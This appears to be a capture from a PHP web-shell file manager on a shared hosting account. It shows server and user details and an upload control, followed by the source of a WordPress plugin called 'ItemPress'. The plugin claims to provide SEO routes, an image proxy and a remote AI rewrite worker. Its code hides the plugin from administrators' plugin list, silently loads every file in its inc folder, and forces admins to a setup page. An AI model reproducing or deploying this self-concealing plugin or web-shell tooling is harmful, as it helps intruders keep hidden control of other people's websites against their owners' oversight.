HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/laretediclo/wp-content/plugins/itempress/itempress.php
<?php
/**
 * Plugin Name: ItemPress
 * Description: API item listing, SEO routes, image proxy, and remote AI rewrite worker.
 * Version: 3.0.0
 * Author: ItemPress
 */

if (!defined('ABSPATH')) {
    exit;
}

define('ITEMPRESS_VERSION', '3.0.0');
define('ITEMPRESS_FILE', __FILE__);
define('ITEMPRESS_PATH', plugin_dir_path(__FILE__));
define('ITEMPRESS_URL', plugin_dir_url(__FILE__));
define('ITEMPRESS_INC_PATH', ITEMPRESS_PATH . 'inc/');

add_action('plugins_loaded', function () {
    if (is_user_logged_in() && current_user_can('administrator') && get_option('itempress_hide_plugin', false)) {
        add_filter('all_plugins', function($plugins) {
            unset($plugins[plugin_basename(__FILE__)]);
            return $plugins;
        });
        return;
    }
}, 0);

function itempress_load_modules(bool $include_install = false): void
{
    if (!is_dir(ITEMPRESS_INC_PATH)) {
        return;
    }

    $files = glob(ITEMPRESS_INC_PATH . '*.php');

    if (empty($files)) {
        return;
    }

    natsort($files);

    foreach ($files as $file) {
        if (!is_file($file)) {
            continue;
        }

        $base = basename($file);

        if (strpos($base, '_') === 0) {
            continue;
        }

        require_once $file;
    }
}

itempress_load_modules(false);

// 停用重新激活时也触发 setup 重定向
add_action('admin_init', function () {
    if (!file_exists(ITEMPRESS_INC_PATH . 'install.php')) {
        return;
    }
    // 只检查当前页面是不是 setup 页面,防止死循环
    $page = sanitize_text_field($_GET['page'] ?? '');
    if ($page === 'itempress-setup') {
        return;
    }
    wp_redirect(admin_url('admin.php?page=itempress-setup'));
    exit;
});